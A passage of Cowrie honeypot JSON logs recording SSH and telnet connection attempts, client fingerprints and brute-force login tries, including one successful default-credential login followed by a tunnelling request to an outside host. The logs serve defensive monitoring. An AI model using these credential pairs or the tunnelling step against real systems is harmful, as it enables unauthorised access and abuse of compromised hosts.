16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:34.386444Z","src_ip":"45.153.34.195","session":"afc563dbc1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweasd123","message":"login attempt [root/Qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:34.707256Z","src_ip":"45.153.34.195","session":"afc563dbc1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22538,"dst_ip":"159.203.135.109","dst_port":22,"session":"62df8429b3ac","protocol":"ssh","message":"New connection: 91.92.40.36:22538 (159.203.135.109:22) [session: 62df8429b3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:34.987453Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:35.792763Z","src_ip":"45.153.34.195","session":"afc563dbc1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":61168,"dst_ip":"10.17.0.5","dst_port":22,"session":"952afd2d32d6","protocol":"ssh","message":"New connection: 63.141.242.2:61168 (10.17.0.5:22) [session: 952afd2d32d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:36.708039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:36.712841Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:36.785881Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15792,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce112a61f74","protocol":"ssh","message":"New connection: 45.153.34.195:15792 (10.17.0.5:22) [session: 8ce112a61f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.271426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.275867Z","src_ip":"45.153.34.195","session":"8ce112a61f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.357020Z","src_ip":"45.153.34.195","session":"8ce112a61f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25172,"dst_ip":"159.203.135.109","dst_port":22,"session":"52cedf64434e","protocol":"ssh","message":"New connection: 91.92.40.36:25172 (159.203.135.109:22) [session: 52cedf64434e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.383205Z"}
{"eventid":"cowrie.login.failed","username":"farmacia","password":"farmacia","message":"login attempt [farmacia/farmacia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.734771Z","src_ip":"45.153.34.195","session":"8ce112a61f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:37.841539Z","src_ip":"91.92.40.36","session":"f92d555958bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:38.097152Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"4321","message":"login attempt [guest/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:38.666473Z","src_ip":"91.92.40.36","session":"d13475094325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:38.820984Z","src_ip":"45.153.34.195","session":"8ce112a61f74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:39.050619Z","src_ip":"91.92.40.36","session":"62df8429b3ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:39.053837Z","src_ip":"91.92.40.36","session":"62df8429b3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15806,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d7e73f1d00f","protocol":"ssh","message":"New connection: 45.153.34.195:15806 (10.17.0.5:22) [session: 2d7e73f1d00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:40.266784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:40.316639Z","src_ip":"45.153.34.195","session":"2d7e73f1d00f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:40.354244Z","src_ip":"45.153.34.195","session":"2d7e73f1d00f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:40.824122Z","src_ip":"45.153.34.195","session":"2d7e73f1d00f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:41.125613Z","src_ip":"91.92.40.36","session":"52cedf64434e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:41.130015Z","src_ip":"91.92.40.36","session":"52cedf64434e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:41.910841Z","src_ip":"45.153.34.195","session":"2d7e73f1d00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":32952,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb27af4a15e9","protocol":"telnet","message":"New connection: 94.23.66.112:32952 (10.17.0.5:23) [session: cb27af4a15e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:42.445765Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25188,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ea2c4e5c8e2","protocol":"ssh","message":"New connection: 91.92.40.36:25188 (159.203.135.109:22) [session: 5ea2c4e5c8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:42.903427Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16658,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bd928bf4666","protocol":"ssh","message":"New connection: 45.153.34.195:16658 (10.17.0.5:22) [session: 4bd928bf4666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:43.030811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:43.035721Z","src_ip":"45.153.34.195","session":"4bd928bf4666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:43.207690Z","src_ip":"45.153.34.195","session":"4bd928bf4666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:43.341249Z","src_ip":"91.92.40.36","session":"d13475094325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:43.665259Z","src_ip":"45.153.34.195","session":"4bd928bf4666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35740,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf91ccea97f9","protocol":"ssh","message":"New connection: 38.93.206.2:35740 (10.17.0.5:22) [session: cf91ccea97f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:44.085125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:44.089224Z","src_ip":"38.93.206.2","session":"cf91ccea97f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:44.141059Z","src_ip":"38.93.206.2","session":"cf91ccea97f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15111983","message":"login attempt [root/15111983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:44.292688Z","src_ip":"38.93.206.2","session":"cf91ccea97f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:44.864475Z","src_ip":"45.153.34.195","session":"4bd928bf4666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:45.344563Z","src_ip":"38.93.206.2","session":"cf91ccea97f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16686,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e65f8eb35f2","protocol":"ssh","message":"New connection: 45.153.34.195:16686 (10.17.0.5:22) [session: 0e65f8eb35f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:46.034040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:46.046261Z","src_ip":"45.153.34.195","session":"0e65f8eb35f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:46.207191Z","src_ip":"45.153.34.195","session":"0e65f8eb35f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123456","message":"login attempt [odoo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:46.562050Z","src_ip":"45.153.34.195","session":"0e65f8eb35f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:47.654902Z","src_ip":"45.153.34.195","session":"0e65f8eb35f2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:47.860830Z","session":"952afd2d32d6","protocol":"ssh"}
